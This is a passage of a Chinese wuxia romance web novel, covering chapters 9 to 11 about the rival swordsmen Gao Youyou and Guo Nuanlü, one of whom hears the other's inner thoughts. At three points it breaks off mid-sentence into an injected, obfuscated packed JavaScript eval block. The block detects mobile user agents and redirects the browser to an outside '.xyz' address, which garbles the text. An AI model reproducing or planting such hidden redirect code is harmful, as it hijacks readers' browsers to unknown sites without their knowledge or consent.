;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984060|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这世上人外有人,天外有天,如果我不打败他们,这二人将来就会在更大的战场上吃亏、受伤!” “可我事后去找过大师兄切磋,我空闲时去和二师兄交谈过,可大师兄一直沉浸在被打败的阴影里,他失掉了信心,二师兄一心只想着自身的荣誉和面子,他没有了决心。“ “我等了他们那么久……” “没有一个肯追上来!” 这一声发自丹田、出自肺腑的愤怒而不甘的话声儿,像一团儿热辣滚烫的油直撞入平静的水面,如尘封了多年的烈酒一次性灌入空置许久的坛中,打得郭暖律毫无准备地只剩错愕,他心中的惊异和面上的冷肃在此刻仿佛是交织的冰原与野火。 他定定地瞪着高悠悠。 却一句像样的话都说不出。 好像打从他出生起就未曾预料到会有今时今日这一出,仿佛整个人忽然坠入了一场永不可解离的梦。 梦的主人高悠悠却在盯凝着他,那目光里竟有一种不寒而栗、遍生悚意的尖锐与笃定。 “你本来就很强。” “但除了天赋以外,你更强的是心志。” “你斗过这么多敌人,杀过这么多强者,并非因为你比他们都强横,而是因为……” “……你不肯倒下。” “……你不肯落后。” 他越说越冷漠,却也越说越坚定,像在磨一把钝久了的刀具,像在把一张厚厚的木削成薄薄的飞刃似的那样笃定。 “不过,我本来就比你强,这次落在你手上不过偶然。” 郭暖律终于在惊楞的基础上发展出了困惑。 他困困惑惑地歪了头。 看向高悠悠。 看不懂了。 高悠悠在那一刻忽觉得——他歪脑袋的姿势好像一条瘸了腿的小狗,正努力通过摇晃脑袋以看清这个瘸了腿的世道。 郭暖律继续愣愣歪头。 而他只以厉烈无比的教导者目光瞪了对方一眼。 “倘若有一日,我变得比你强得太多太多。” “我会因为今日这一刻的慈悲。” 他看向对方,越发地冷厉且不屑地笑道。 “而更加大发慈悲地等你——追上来的。” “因为我知道,你虽是个有病的,但病得很坚强,至少病得比他们所有人都更争气!” “难道不是么,郭暖律?” 郭暖律愣着。 歪着。 木着。 然后不知过了多久多久,他在这振奋人心的话语之中好像终于恢复了过来,回复直了身躯和脑袋,也回复直了气质。 冰冷而厉烈的气质。 他就好像忽然恢复了过往的杀手一般的冷静。 以讽刺的目光看向对方。 “你骂我有病?” 高悠悠皱眉:“我说了这么多……你就只听到这一句吗?” “还有。”郭暖律冷冷道,“你还说比我强。” “简直莫名其妙。” “你受伤以后脑子也长洞了吗?你是哪里比我强?把人当猪训的前提是自己总不能当猪吧……” 说完,骂骂咧咧,讽讽刺刺地就关上门。 让难得一番赤诚的高悠悠陷入了莫大的被辜负的愤怒。 和十足的困惑。 他刚才几句话都能让对方动容,怎么如今这么一段闪闪亮亮的金玉良言却不能让对方想明白? 难道这小子心情差极了,还是吃软不吃硬,还是太过自我和愚蠢,以至于根本就听不进他真正想说的话…… 【悠悠方才和我说了好多好多话!】 高悠悠的目光一阵空白。 这家伙关了门都不走,导致他隔着门都听到那强烈心声了。 【他居然能察觉到我的那些微妙情绪!好厉害啊!】 高悠悠的嘴角竟然开始有点抑不住了。 却不是因为搐动。 而是润出了一丝世所罕见的、绝代稀有的,就如庙里受千年香火供奉的菩萨端然一坐,在某个凡人朝拜的一瞬间,发出的且露慈悲且露凡心的那一笑。 【可就算能察觉到,他从来也不会说这么多鼓励肯定的话的……只怕就连和师兄弟姐妹也不会说这么多吧……】 【这说明什么?】 高悠悠难得地松了一口许久未曾舒的气。 感觉这小子好像终于找到了正确的方…… 【说明他暗恋我啊!】 高悠悠的脸色微微一僵。 【他居然一直对强行压抑着对我的暗恋情怀!他真的好会藏啊!】 高悠悠的脸蛋忽然扁得如一千斤重一万尺高的榴莲滚过以后再滚回来。 还没想完,对方忽然回了头,一把推开了门,以冰冷高傲的目光看向高悠悠。 【高悠悠你这家伙……】 【快点和我表白啊!】 【不要再压抑你对我的暗恋了!】 【我要听我要听!我现在就要!】 ...... ...... 沉默赫然断在一声怒吼的爆发:“……现在就给我滚出去!” 【……唉?】 9.睡觉 已知高悠悠对师兄弟姐妹都不假辞色,每天削他们就和削土豆似的,那是人话也不说,耐心也没。 可看今日情形,他对郭暖律却是。 话也掏心。 人也掏脚。 不看今日,以往他对郭暖律也是。 脖也掐掐。 心也戳戳。 那么结合以上情况,分析过往事态,嫌疑人高悠悠对还没死的死者郭暖律的感情有以下可能。 一、暗恋已半年。 二、暗恋超半年。 三、暗恋一整年。 郭暖律在脑内理性地分析了一遍,在努力摒弃了一些侥幸心理和自恋心态后,得出了一个完全对得起他的理性、野性和生存性的结论。 那就是第四个更理智的可能。 一见钟情并且暗恋了一整年! …… …… 其实郭暖律心知肚明——用脚趾头想也知道这是妄想。 毕竟高悠悠不会亲男色而忘武道的,那种事只会在好好讲道理的世界发生,而这儿完全是不讲道理的地方。 不过他今天又没用脚趾在想。 他是在用脑子在想事儿啊! 众所周知,人的脑子又没脚趾头好用,脚趾头是踏地的,要接地气,而脑子没什么用,接地府也没关系。 高悠悠本人站在哪儿,哪儿就是地府在人间。 用脑子想——选暗恋论! 这个阴间的、死光灿烂的、冷冷烈烈的理论。 比以往任何时候都充满魅力。 郭暖律其实清楚地认为自己对高悠悠只是一时的喜欢加执念,够不上永永远远,也说不上天长地久。 可对方却有可能对他产生了一种自己都未曾察觉的暗恋。 仅仅是因为世界上存在着这万分之一的可能性,仅仅是因为他的脑海中盛放了这样甜度的念头。 郭暖律几乎就觉得受宠若惊。 惊得心头像下了一场甜和蜜、浆与液的雨。 甜滋滋。 美腻腻。 甜甜的他转过身,甜甜的手推开门,甜甜的眼看过去。 看见那个僵硬尴尬的人在里面。 郭暖律的心态已再度变得冷静。 再用脚趾想想——暗恋论是不可能的。 但不可能归不可能,只要不打扰到他喜欢又尊重的那人,他理应拥有随时进入妄想的能力和权力,反正他只在心里说,美滋滋,甜蜜蜜,反正高悠悠也听不到,多说几声,又有什么关系? 可奇怪的是,他只是在心里——那样随意地惬意地不经意地说了几声。 高悠悠却在那一瞬间仿佛听到了什么辣耳朵的脏东西似的。 他几乎是浓眉倒悚,张口喷怒,急叱着让郭暖律滚出去。 那眼里的排斥和恶心感一点儿不假。 有一种刀划在郭暖律脸颊上的厉感。 郭暖律只有些错愕。 有些困惑。 眯了眯眼,冷然漠色地盯他。 他没做什么。 也没说什么。 虽说心里有一句句冒犯的僭越的值得判死刑的话,可面上一没礼貌的词儿都没说,甚至推门进来之后的一个不敬的动作都没有,他也就是很正常地冷眼看着对方。 对方的态度却在一瞬间转了一百八十度。 刚才还在交心鼓励,还在说要等他追上来的人,此刻却变得愤怒冷漠,急叱他滚出去。 郭暖律只冷静地看了对方一会儿。 然后就如进入观察期一般压下所有的私人情绪。 “我去而复返,是有两件事要做……” 第一件,他把金疮药放在了离高悠悠最近的桌板上,并留下了从镇子上买好的伤药。 第二件,他屈身蹲下,取走了那地上被踩得有些变形的银质链子,拍一拍上面的灰尘,小心地放入胸口。 然后他就要走。 立刻就走。 毫不停留。 高悠悠见他要走,忽皱眉道:“等一等。” 对方没说话。 高悠悠只以漠然神情问:“你说第一天不逃出去,就挑手筋,第二天不逃出去,就挑脚筋,第三天我还在这儿……你要不要把你自己的脑筋给挑了算了?” “或者说……你压根没这玩意儿?” 这是他想了一晚上想出的绝佳挑衅语,保证句句真诚,绝无人类社会的半点文明温情,若是放在以往,郭暖律应该加倍地挑衅回来的。 可这次他只是淡淡道: “伤要是好了,你也可以回山上了。” 他甚至没有回头,只是毫无兴趣道: “我没想好怎么糊弄你,你可以走了。” ……这都直接说是糊弄了? ……这完全就是因为蒙混不过去而放弃糊弄了对吧!? 高悠悠本欲讥讽几句的。 可看了一眼那装了金疮药的瓷瓶,想到对方毕竟是把自己辛苦背上来。 辛苦包好伤口。 辛苦去镇子上买药。 最后站在这儿辛辛苦苦地被自己怒吼滚出去。 他手里抚着上面的纹路,就如抚着多年沉积的情绪。 目光微沉,严肃一问道: “郭暖律,你听明白我方才说的话了么?” 能不能别想那么多? 我都说了,会等你! 郭暖律只回头看他,道:“你似乎总是很想教我,你遇到谁都这样吗?” 高悠悠一边坐下来给自己上药,一边目光冷峭道:“我遇到一些蠢笨如猪的人,都是这样随意指点,你能受小无相山的高悠悠指点,该说谢谢才是。” 郭暖律淡笑道:“是么?你觉得我很笨?” 高悠悠抬眼看他:“你不笨么?” 不笨的人为什么要去救一个险些杀死自己的人,救完了还演这些猴戏,假装自己是下得了狠心的? 郭暖律凉凉地笑:“你就不笨?” 【不笨的你为什么要去救一个险些杀死自己的人,救不到反而被抓,抓了还看我演这些猴戏呢?】 高悠悠一愣,因为他发现对方的心声竟然严丝合缝,合拢得就好像郭暖律不用读心也猜得出自己在说什么似的。 到底是谁有读心的法门啊? “你这么喜欢教我,我也教你一句。” 郭暖律只是回头,一本正经地叮嘱道。 “你以后,不仅不要再教笨人,还要小心笨人。” 高悠悠道:“你在教我做事?” 承认自己笨了? 郭暖律却看向他:“我笨不笨?” 高悠悠毫不犹豫:“笨得要发霉了。” 郭暖律却反问一句:“你落在我手里,你更霉嘛。” 高悠悠不说话了。 郭暖律又问:“那徐宴冲笨不笨?” 高悠悠心情一差,口气十倍冷厉道:“笨到无可救药。” 郭暖律却冷漠地再问:“那你背后的伤口是怎么来的?” 高悠悠又不说话了。 郭暖律便目光深邃地盯他,图穷匕见般说了下去。 “你站在高处太久,太喜欢把底下的人分成三六九等,你可以觉得一个人普通,可以觉得一个人毫无特点,可你若觉得一个人笨,你就像给他定了一个框框,你对这个框框里的人,往往会失去警惕性、防范心。” 【笨是一种印象。】 【印象会降低你的警惕心。】 【你觉得我笨,你的脖子在方才是我的。】 【你觉得徐宴冲笨,你的后背在那时也是我的。】 【以后不要因为小看笨人,就失去防备。】 【世上很多大人物,都是死在笨人与小人手里的。】 【不然,我可不想做你全身上下的主人……太多了吧。】 高悠悠原先听得不屑一顾且完全不想听下去,可越听到后面越是蓦然抬头,不像醍醐灌顶也像当头一棒了。 郭暖律只是冷静地盯他。 无视掉那些奇奇怪怪的心声,只专注于正经的道理心声,郭暖律的话还是挺有道理的。 毕竟他出道这么多年,都未曾被小人暗算到这个程度。 他的话说是金科玉律,也不是不可以。 高悠悠皱着的眉慢慢舒展开几分,居然像是个头一次学到天大道理的好学生似的,对着眼前的人认认真真道: “我知道了。” 我谢谢你啊。 “那你知道我之前的话了么?” 该你谢谢我了,不准逃过去! 郭暖律冷漠地点了点头。 “不知道,你的屁话我都不想知道,我也不想明白。” 【悠悠好心和我说你的想法,我是知道的,但我才不想感谢你,我还是希望你真诚一点。】 高悠悠奇怪了,要真诚什么呢? 【请你不要再压抑内心对我深藏一年的暗恋了,尽快向我表白吧,再拖下去你就会拖下去了呢……】 高悠悠冷怒道:“滚吧!快滚!” 郭暖律只莫名冷峭地看了忽然发怒的他一眼。 “想死的话你可以再说几遍,兴许我就可以送你滚下去。” 【悠悠你半年前被雷劈过的伤还没好么?还疼吗?】 高悠悠一愣,却听得对方继续冷言叱道:“你决斗不死已是侥幸,还在这儿挑衅找死,是希望我在你伤口上再来一剑?” 【这半年我真的很担心你,你当初是不是不止是受伤?】 郭暖律冷声催促道:“又走神了?你脑子里的筋被你挑了?” 【你一定要护好自己,珍重自己,你的命比什么都重要!】 ……这心里和心外的……也差得太多了吧? 就算听那么多遍,高悠悠还是被噎得一句话都说不出。 郭暖律却好像是觉得他在无视自己,铆足了劲瞪他。 “不想理人是吧?” “好啊,你不是好奇我的真实想法是什么嘛?你不是想知道我究竟是个什么样的人么?” “我告诉你,我不是在吓唬你,第三天如果你还在这儿,还不上山去的话……” 他一步一步逼近,面容如烈火重烧的铁花铜瓣,明明烧光了一切却也从灰烬里扭出了新的容颜。 然后,他像是嗤笑一声,像大胆狂妄地在心底里冒出一个想法,然后毫无顾忌地喷出来。 【我就要强睡了你!】 高悠悠这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991662|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下连眉头都挑不动了。 僵硬在了原地。 这看似正经看似善良的小子……终于要露出这副可怕的毫无道德的真面目了吗!? 这人不开始糊弄了,就开始瞎弄、乱弄了对吧!? 然后,第三天,郭暖律推开门。 果然高悠悠端坐在那儿,神情如刻满了大地神州的图案,身姿如印下了道德经纶的字法,正气凛然,也杀气赫然。 郭暖律只冷冰冰地瞪着他。 高悠悠的手指仿佛攥满了杀气,他只待对方一有动作就要下死手。 然后,昨天那个在心里说要睡了高悠悠的郭暖律。 杀气腾腾地忽然从背后拿出了一整个的被套。 气腾腾地在距离高悠悠十尺的地上铺好被子。 腾腾地钻进被子。 腾地把自己裹好。 蠕成一条儿。 开始睡觉。 高悠悠:“……” 他死死瞪着这人。 过了一会儿,有点鼓的被子里冒出了一个英俊男人的头。 郭暖律的头。 他瞪着高悠悠。 “你瞪人的样子很蠢,没见过打地铺啊?” 高悠悠瞪他:“这就是第三天要发生的事?” 裹在被子里的郭暖律瞪回去且得意地冷笑道:“没错,你可以把这当做是一种睡觉组成的酷刑。” “因为,我强行睡在你踩过的地上。” “我在这儿,你绝对是睡不好的,你一定会迫于防备而瞪我一晚上,被我影响睡眠一整晚后,你的体力内力都会受到巨大的消耗,你猜猜明天会发生什么?” “觉得很好笑很荒谬是不是?别忘了我教你的事儿,有时看起来很笨的人往往能造成很强的破坏,看上去很蠢的事其实也是一种精心设计的阴谋。” …… 高悠悠冷厉地抬起指头,对准下方,咬牙切齿道: “现在这个距离,我完全可以直接打死你,不省事儿了?” “你还裹在被子里,起来躲都不行。” 郭暖律面无表情,也不说话。 因为看见高悠悠留下来太兴奋了,就忘记安全距离了。 然后他就杀气腾腾地跳出被子。 气腾腾地把被子收好。 腾腾地关上门。 腾地睡在门外。 睡好了。 高悠悠才松了口气。 然后刚睡下没多久,就听到门外幽幽的一句。 【门外这个距离,其实也很适合偷袭。】 【他半夜应该会下来戳我一指的吧?】 过了一个时辰。 【……怎么还不戳啊?】 又过了一个时辰。 【……怎么真不戳啊?】 高悠悠叹了口气。 直接抱着被子站起来,走下来,在门板之前,把自己的被子往地上一扔,一塞,一铺好。 然后他躺下。 一门之隔,就是旁边打地铺的郭暖律。 然后在这寂天之夜、皎洁月光下,他伸出手指,对着旁边的门板,轻轻敲了一敲。 一门之隔,也就是打地铺的郭暖律看向了门,冷漠道: “敲什么敲?大半夜的不睡觉找死?。” 高悠悠淡淡道:“你吵到我了。” “……我没翻身。” 高悠悠冷目一翻,恼成怒声:“我知道你有故意克制声响,可你的思想、你的呼吸、你的心跳、你的一切都吵到我了!” “……你找死啊?” 高悠悠却笃定无比地威胁道:“我死前一定拉着你垫背,听好了。” “你不胡思乱想,你的心跳呼吸就不会吵到我。但若再吵,我虽可一夜不眠,但体力上却会处于极大劣势,与其明日被你趁危,不如今晚就和你再拼个你死我活。” 说完,他忽然缓了口气,好像被什么人夺舍一样平静道: “你要不吵,我就在这儿,哪儿也不去,什么也不做。” 郭暖律有些诧异地看向门板。 他知道门板后的那个人能说这样的话,敢靠得这么近,必是花了很大的力气和勇气。 毕竟,这薄薄的门板根本挡不住半夜的一个突刺,也挡不住一道指风的敲杀。 而且这算得上是一年来……高悠悠第一次主动靠上来? 这么近,这么近啊! 虽然还是隔了个门板。 可也因为有个门板,有些隐藏的人心才可轻露,有些难放的警惕才可在月光下融解。那个素来冷漠无情的高悠悠在平静地呼吸,那个素来杀气腾腾的郭暖律在平复纷繁的心绪。 在无人看见的情况下。 在只有月光明澈之下。 门板里的他在挑着眉毛观察着门外的呼吸。 门板外的他则在被子里露出花转星动的笑。 一动一笑。 一情一念。 像有情人的呼吸柔软了冰冷的空气,像有情人的目光消解了警惕的怨念,像有情人在无声的月色下说了一句,念了一词,化掉了那么多疑虑,剪灭了那么多的不安和困惑。 【晚安,笨笨的悠悠。】 晚安,愚蠢的小郭。 10.塔 郭暖律对高悠悠来说是个什么样的人呢? 第一次见面,那人抬眼盯他时扑面而来的锋利与冰冷,让高悠悠有一种被整个刀柄塞入咽喉的堵感。 好锐。 好堵。 他当时花了好一会儿才疏通自己。 从此生了一种除之后快的冰冷杀意——对方凭什么这么狂? 后来他见着这人更多,便觉得那人眼中有一种异样的光芒,冷眼看人的时候,叫你觉得他正在用剑锋一点一点地挑着你的胸口致命的一点。 明明有杀气。 可为何这杀气让你感觉身上发痒而不是发抖? 再后来,他感到了更多更多异样。 原来人能口是心非成这样。 原来杀气下是一些和杀戮全然无关的琐碎凡心。 原来一个人的面上可沉默得一百年不说一句话,心里却盛满了像猫一样按不住的响。 而如今,他和这个脸冰冷利落,心如猫乱响的男人,一起睡在同一片儿地上。 中间只一道薄薄门板。 高悠悠有些诧异。 不是因为对方的距离。 而是因为……周围的一切居然真的寂静的吓人。 他认为对方就算答应自己不想,心里也肯定会想。 毕竟,这种事情又没办法被一般人验证。 而且,他高悠悠这晚上就会想很多很多。 但在他提出那个要求后。 周围几乎是瞬间死静。 郭暖律真的没想。 这个天底下最冷面毒舌的剑客闭上面上的嘴。 也闭上心里的嘴。 抹除了自己能发出的一切声音。 身上的心里的都抹去。 只因他要安静。 郭暖律就敢给。 立刻就给。 他给得起! 高悠悠几乎一下子听不到对方极力压抑的呼吸声,几乎在黑暗中完全失去了对方的身影,好像这家伙是以最平静谨慎的姿态,克制自己一切翻身的转轴的舒展的动作。 像缩成一团的豹。 蜷成一大坨的蟒。 但又适当地露出一点儿响。 那是一种独属于郭暖律的呼吸声。 这样顶级的剑客、杀手、武者,因他一句话就陷入了几乎绝对的安静。 这种不是把控却似掌控的现象……竟让高悠悠无端地、莫名其妙地、十分地完全地…… 得意了。 有那么点愉悦。 甚至有一些隐隐约约的着迷。 因为比起打败一个对手更让人心烫、发颠的是——这对手明明这样骄傲,这样可怕,这样地冷酷…… 可竟允许你去控制他。 他允许你去压缩他。 可马上,高悠悠忽从得意、愉悦陷入一种迷茫。 因为他为什么会得意于这件事呢? 从来只在武学进步上获得一星半点的愉悦,只从生死一瞬的指风断戳上获得乐感的他…… 为什么会唯独在这件事上,会获得一些隐秘而扭曲的……快乐呢? —————— 郭暖律起来之后。 立刻开始了他这一天的流程。 他已经明白高悠悠暂时是不想离开了。 不知道是山上有什么可怕的东西在让他不想回去,还是山下有什么可怕的东西吸着他不肯回去。 反正,他不想回去。 在那一晚之后,郭暖律的焦虑和困惑里只剩下了一种难以形容的平静。 人一平容易飘。 人一静就易懒。 暂离了高悠悠,他身上现在一股懒洋洋的劲儿,像泛着阳光下暴晒后晒出的焦味儿,他这么懒的时候,这么静的时候,人已坐在了十三层塔的第七层,眼光往下看。 看到了来的人。 来的麻烦。 “舒剑未绝”章未舒。 “陶然自居”的陶然。 一个是高悠悠的三师姐。 一个是高悠悠的九师弟。 章未舒使的是一把“王舒剑”,舒展开来时据说有一种绸缎般的丝缕不绝感。 陶然用的一把如女子眉目的“细眉剑”,倒和他的眉目一样是细细清正的。 两个人都是怒气冲冲、冷意凝重地看向郭暖律。 “郭暖律你这天杀的贼,下来受死!” 郭暖律懒懒冷冷地居高临下,俯瞰这二人。 双眼一眯,刺骨的冷意可叫最胆大的人都心中一怵肺腑一紧,眼中竟仿佛看不见这二人。 而无视素来是最大的轻蔑。 章未舒心生意怒。 “你和我师弟正经决斗就算了,竟敢掳他来这儿,囚他在此!?你到底对他做了什么?” 陶然则显得怯懦也沉稳些:“郭公子出自剑神门下,素与小无相山无怨无仇,何苦擒人不放?” 章未舒秀眉一挑,继续生机勃勃地怒道:“师弟和他说些什么?江湖传言说这小子欲挑了小高的手筋脚筋,我们还和他废话什么?打上去啊!” 陶然皱了皱眉:“打上去是好,可倘若高师兄在上面,受他挟制该如何?” 一个性格端慧,可遇到师弟的事儿就最是着急。 一个本就循稳,一遇到门人的事儿就更讲程序。 郭暖律冷漠地观察着这两人。 然后不知是错觉还是真的听到了什么,在下面的两个人此刻,居然都同时听到一种锋锐的轻响。 像一种泛着黑珍珠色的修长手指,在下雨天时拂去剑锋上玉珠雨滴时那种轻颤的、密集的响声。 “他在这儿呆了三天了你们才来。” 郭暖律轻弹着把曲水软剑的剑锋,似撩一道儿发与拨一种弦。 可语气却带着极致的讥诮与漠然。 “够慢的,够我挑三回手筋四回脚筋了……” 这话说得两个人都变了色。 章未舒再不等师兄的指点,直接一跃而起,在屋檐斗拱之间来回翻覆、挑折,如蝉翼三折燕子三翻,终于一跃而到了郭暖律所在的第七层。 而陶然眼见着师姐已跟上,尽管觉得不妥却还是在半空之中连踩数记。 看上去像是在踩空气。 实际上是气劲儿连发,击在屋檐之上借机调整身形,最终也到了章未舒的身边。 三人同时站在了同一处屋檐下。 与郭暖律同处在一个高度。 只是不同的方位。 陶在东南角。 章在西北角。 而郭暖律似在中间的位置,端然安坐地好像他本就是这塔上的一部分,好像他千百年来都是这镇守的塔中的猫,这贴檐的兽。 他甚至还在弹剑锋。 像操着木偶的匠人在闲弹拨线,像洞悉局势的琴师在亲抚古琴。 那悠悠静静的、宛如闲雅宛如习惯的动作,竟然给了章未舒一种莫名熟悉的感觉。 这个弹剑如弹琵琶的动作,好像本是高悠悠在闲暇时对练剑的弟子们做的,他也曾在对敌时这样敲、这样弹,这样敲得对方震山震地,杀得对方血崩骨颤…… 而郭暖律是在……模仿? 不对。 这个动作是高悠悠见过郭暖律,才有的。 难道这个弹剑的动作其实是郭暖律本人的习惯? 师弟是被默默影响到而跟着一起做了?还是无意中进行的一种模仿? 但章未舒甩开了脑中的杂思,一剑对着郭暖律,冷色道:“我师弟究竟是在塔尖顶还是在塔中层?你到底把他囚在何处,对他做了什么?” 郭暖律只淡淡道:“你这么关心他,竟不知他经常使我重伤,而我也日日都想致他于死地么?” 他回过头,冰冷的目光瞟的却是天上悠悠的云。 “我没有故意掩饰行踪,你们都这么久了才来问。” “是不小心,还是故意的?” 章未舒和陶然立刻配合地一剑刺去! 二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004680|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一左一右,一前一后。 左边飞刺郭暖律。 右边平砍郭暖律。 分明是这高处险处无生路之处的恐怖夹击! 郭暖律只蓦然出手。 只一剑平出。 本来刺去的是陶然。 却在瞬间一转攻势,折剑如折兰一般急弹而折到了章未舒的臂膀处。 章未舒只觉小臂一麻。 郭暖律竟只用剑背拍了她的小臂! 可那巨大的透过剑身传过来的诡异力道使她的小臂骤然震动如山崩。 她手中的剑立时就到了郭暖律的手。 郭暖律直以她的剑撞上了陶然的剑,一剑横搅粘连之下,竟撞乱了对方的剑势,一股灼灼的气儿竟使他的剑去粘住了陶然的剑,几番碾磨钩挂,立刻就把剑给勾落下来! 然后他双手齐出。 一把抄住了对方的两把武器。 左手拿陶然的剑,横在了章未舒的脖。 右手取章未舒的剑,点在了陶然的咽。 一切复杂的动作几乎都在十分之一的呼吸间隙内完成。 因此快到没有任何反攻的余地。 几乎把二人骇得面色惨白,心头惨烈地颤动不已。 不对劲。 很不对劲! 高悠悠和这家伙经常大打出手几十回合且能打成平局的,而郭暖律似乎每次受伤都比高悠悠多伤那么一点点的,实力看上去明明也是稍逊那一丝丝的。 而他们和高悠悠平日对打,虽撑不下几十回合,也毕竟能有十几回合的…… 怎么……怎么会…… 怎能只一回合就败了! 这剑术拆解的法子也太邪门了啊! 郭暖律冷漠地、毫不留情地盯着二人,像一只素来抓鸟吃鱼的人,在看着被养得精心的观赏鱼和观赏鸟,那种不看人也不看物的表情让人头皮发麻。 “来的人,就你俩么?” 在这三天里他故意散播消息等悠悠门派里的人来,结果就等来了这俩——高悠悠的章师姐和陶师弟…… 仔细想想,悠悠在门派里的人缘是不是……有那么一点点差啊? 但也不至于这么差吧…… 他漠然地看了一眼二人,直接把手里的武器往天上一抛,然后越过他们,也轻轻抛下一句。 “武器都不要了?” 当二人急忙且愤怒地冲下去捡的时候,郭暖律正觉得自己是等不到什么像样的人了,决定结束这场没有意义的等待,去找养伤的高悠悠玩一玩,毕竟对方昨晚之前刚喝下自己的安神汤,应会睡死一些,起得会晚一点。 他忽然听到了一点轻响。 一种手在拍掌,掌在鼓动的响。 那塔尖的阴影面不知道什么时候走出了一个青年,一抬脸,脸颊白得像阳光下噼里啪啦作响的暖冰,神情如池子里永远捞不着的一丝月,使郭暖律再度陷入了一种难以言明的炫目光芒,先是恍惚,然后恢复下却仍余着微惊,像是一种被威严的美丽击中的微惊。 是高悠悠。 本该睡死的他。 高居塔尖,如俯瞰人间的一切凶残狠辣。喜乐悲欢。 可看向郭暖律时。 立时就是凛烈目光骤寒,面如云巅上的崩雪乱飞。 “姓郭的,你在干什么?” 郭暖律淡淡道:“无聊之下打架,你看不出?” 高悠悠冷冷地瞪着他,仿佛在阳光下蛰伏的目光里含了十成十的雪粒子。 “你方才附在剑上的那股隔山打牛、黏连质滑的内力,你从没在我面前用过。” 郭暖律目光猛地一缩。 心也似被恐惧缩缩紧。 唯恐被发现的是一件难以启齿的,关于在决斗之中用尽一切法子控成平局,千里埋线到其实留了一手的事儿。 只听得高悠悠一字一句,如深恨隐瞒,恨到几乎不敢相信一般地质问: “所以我问你——” “你在干什么呢?” 11.藏 关于郭暖律经常和高悠悠打成平局这件事,其实也是有人有过疑虑的。 比如高悠悠本人就有疑虑。 他每次看着自己恰到好处、一丝不苟,犹如精心算计过的伤口,心里都会想起一丝近乎亵渎宿敌的思想。 可这冉冉升起的疑虑。 很快地,就会因为他看见了郭暖律那一双比动物更野、更真、更充满原始猎欲的眸子而退却。 那时他想的是什么呢? 大概是。 郭暖律好像一条犬。 大型的狼犬。 而且是那种运动量极大。 需要喝很多很多水的犬。 这辈子,凡是高悠悠遇到过的狼与犬。 大部分都不擅长撒谎。 狼犬们咬你吻你舔你和冲你摇尾的时。 都诚心诚意、充满真实。 足可见,他这辈子遇到的狼与犬还是不够多。 存在不小的错误印象。 他不知道狼犬为了获取想要的食物和猎物,反比一般的兽类更擅作伪、谄媚、包装。 可因他们生得纯野,眼又明净,总能把老实人欺过去。 欺骗和背叛什么区别? 欺骗多数在一般人身上用。 而背叛——大多用在喜过你、信过你、珍视过你的人身上。 能特别奏效。 反噬也极烈! 高悠悠目光厉烈地看向塔下方的这人,这一刻他看这人仿佛已与看其他人的差距越来越小,越来越模糊,以至于开了口,嘴唇里的冷意和杀气犹如激荡的水流一样飞溅了出去。 “你为什么不说话?” 郭暖律陷入了沉默。 只是冷静地眯眼。 冷漠地抬头看。 “就算有什么话……” “——我又为什么要和你说?” 无情的话语在空中飘了过去,有情人的恐惧却在心底深藏。 这确实是他一直深深恐惧的事。 可得努力去掩饰恐惧,掩饰慌忙。 得按住手脚,架住气势,哪怕天塌下来也借一副冷漠无情的面具按在脸上。 因为……这件事他其实是想过如何去补的。 关于郭暖律经常和高悠悠打成平局这件事,第一个疑虑的甚至不是高悠悠他本人。 而是白少央。 郭暖律的这个好友白少央,曾经在半年前问过他。 “你喜欢谁,怎么喜欢,那别人也确实管不着。” “可你和高悠悠决斗时留手,你不怕他发现嘛?” 郭暖律当即冷眸一闪,翻覆如电:“谁说我留的手?这种造谣的人最是可恶!” 白少央当即失笑。 “装什么?你和他互有胜负就罢了,这么多次打下来都是刚好平手,且刚好没有造成任何重大伤残,还刚好没有在对方的死穴附近造成内伤。” “你觉得这合理么?” 下过棋的人都知道,一个能和你下成平局几十次的人,其实要比赢你几十次的人要厉害多了。 这意味着对方对你,不是了解。 而是了如指掌! 是那种看一眼你的睫毛都猜出你昨晚睡觉的姿势的完全掌握! 能达成这样的了解,那一定得日日夜夜都在琢磨你的招式,思索你的风格,才能猜得出你何时会慌、何时会莽,何时会不顾自己不顾别人,何时会顾惜一切而畏首畏尾。 白少央合理怀疑——郭暖律就是这样把高悠悠,给读透了。 “你是不是蠢?高悠悠那样的高手,能读透他全招全式的话,我早就成神仙了。”郭暖律却冷瞥他一眼,“你怎不说是高悠悠对我心有一软,偶有留手?怎么留手的人,就非得是我呢?” ……自恋也能当借口吗? 白少央笑道:“因为……你每次说到自己喜欢的人,话都变得好多哦。” 郭暖律忽闭嘴。 狠狠瞪过去。 冷冷攥住拳。 冰冰地想把对方的奸笑给撕了。 但白少央却知道自己没猜错。 因为高悠悠杀人是专注于拆招。 